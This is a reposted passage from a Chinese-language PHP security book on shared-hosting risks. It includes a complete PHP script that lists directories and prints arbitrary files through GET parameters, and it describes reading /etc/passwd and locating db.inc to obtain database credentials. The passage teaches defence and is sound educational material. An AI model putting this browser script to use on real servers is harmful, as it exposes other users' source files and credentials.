[导入]php 安全基础 第八章 共享主机 文件系统浏览
8.4. 文件系統(tǒng)瀏覽
? 除了能在共享服務(wù)器上讀取任意文件之外,攻擊者還能建立一個(gè)可以瀏覽文件系統(tǒng)的腳本。由于你的大多數(shù)敏感文件不會(huì)保存在網(wǎng)站主目錄下,此類腳本一般用于找到你的源文件的所在位置。請(qǐng)看下例:
?
? <pre>
?
? <?php
?
? if (isset($_GET['dir']))
? {
? ? ls($_GET['dir']);
? }
? elseif (isset($_GET['file']))
? {
? ? cat($_GET['file']);
? }
? else
? {
? ? ls('/');
? }
?
? function cat($file)
? {
? ? echo htmlentities(file_get_contents($file), ENT_QUOTES, 'UTF-8'));
? }
?
? function ls($dir)
? {
? ? $handle = dir($dir);
?
? ? while ($filename = $handle->read())
? ? {
? ? ? $size = filesize("$dir$filename");
?
? ? ? if (is_dir("$dir$filename"))
? ? ? {
? ? ? ? $type = 'dir';
? ? ? ? $filename .= '/';
? ? ? }
? ? ? else
? ? ? {
? ? ? ? $type = 'file';
? ? ? }
?
? ? ? if (is_readable("$dir$filename"))
? ? ? {
? ? ? ? $line = str_pad($size, 15);
? ? ? ? $line .= "<a href=\"{$_SERVER['PHP_SELF']}";
? ? ? ? $line .= "?$type=$dir$filename\">$filename</a>";
? ? ? }
? ? ? else
? ? ? {
? ? ? ? $line = str_pad($size, 15);
? ? ? ? $line .= $filename;
? ? ? }
?
? ? ? echo "$line\n";
? ? }
?
? ? $handle->close();
? }
?
? ?>
?
? </pre>
?
? 攻擊者可能會(huì)首先察看/etc/passwd文件或/home目錄以取得該服務(wù)器上的用戶名清單;可以通過(guò)語(yǔ)言的結(jié)構(gòu)如include或require來(lái)發(fā)現(xiàn)保存在網(wǎng)站主目錄以外的源文件所在位置。例如,考慮一下下面的腳本文件/home/victim/public_html/admin.php:
?
? <?php
?
? include '../inc/db.inc';
?
? /* ... */
?
? ?>
?
? 如果攻擊者設(shè)法顯示了該文件的源碼,就可以發(fā)現(xiàn)db.inc的所在位置,同時(shí)他可以使用readfile()函數(shù)來(lái)使其內(nèi)容暴露,取得了數(shù)據(jù)庫(kù)的訪問(wèn)權(quán)限。這樣,在這個(gè)環(huán)境中保存db.inc于網(wǎng)站主目錄之外的做法并未起到保護(hù)作用。
? 這一攻擊說(shuō)明了為什么要把共享服務(wù)器上的所有源文件看成是公開(kāi)的,并要選擇數(shù)據(jù)庫(kù)實(shí)現(xiàn)所有敏感數(shù)據(jù)的保存。
[新聞]NHibernate 2.0.0.Beta1發(fā)布了
文章來(lái)源:http://www.cnblogs.com/czh-liyu/archive/2008/04/02/1133985.html
轉(zhuǎn)載于:https://www.cnblogs.com/xfliu/archive/2008/07/01/1233388.html
創(chuàng)作挑戰(zhàn)賽新人創(chuàng)作獎(jiǎng)勵(lì)來(lái)咯,堅(jiān)持創(chuàng)作打卡瓜分現(xiàn)金大獎(jiǎng)總結(jié)
以上是生活随笔為你收集整理的[导入]php 安全基础 第八章 共享主机 文件系统浏览的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: 收到微软商务衬衫
- 下一篇: [导入]php 安全基础 附录B. 函数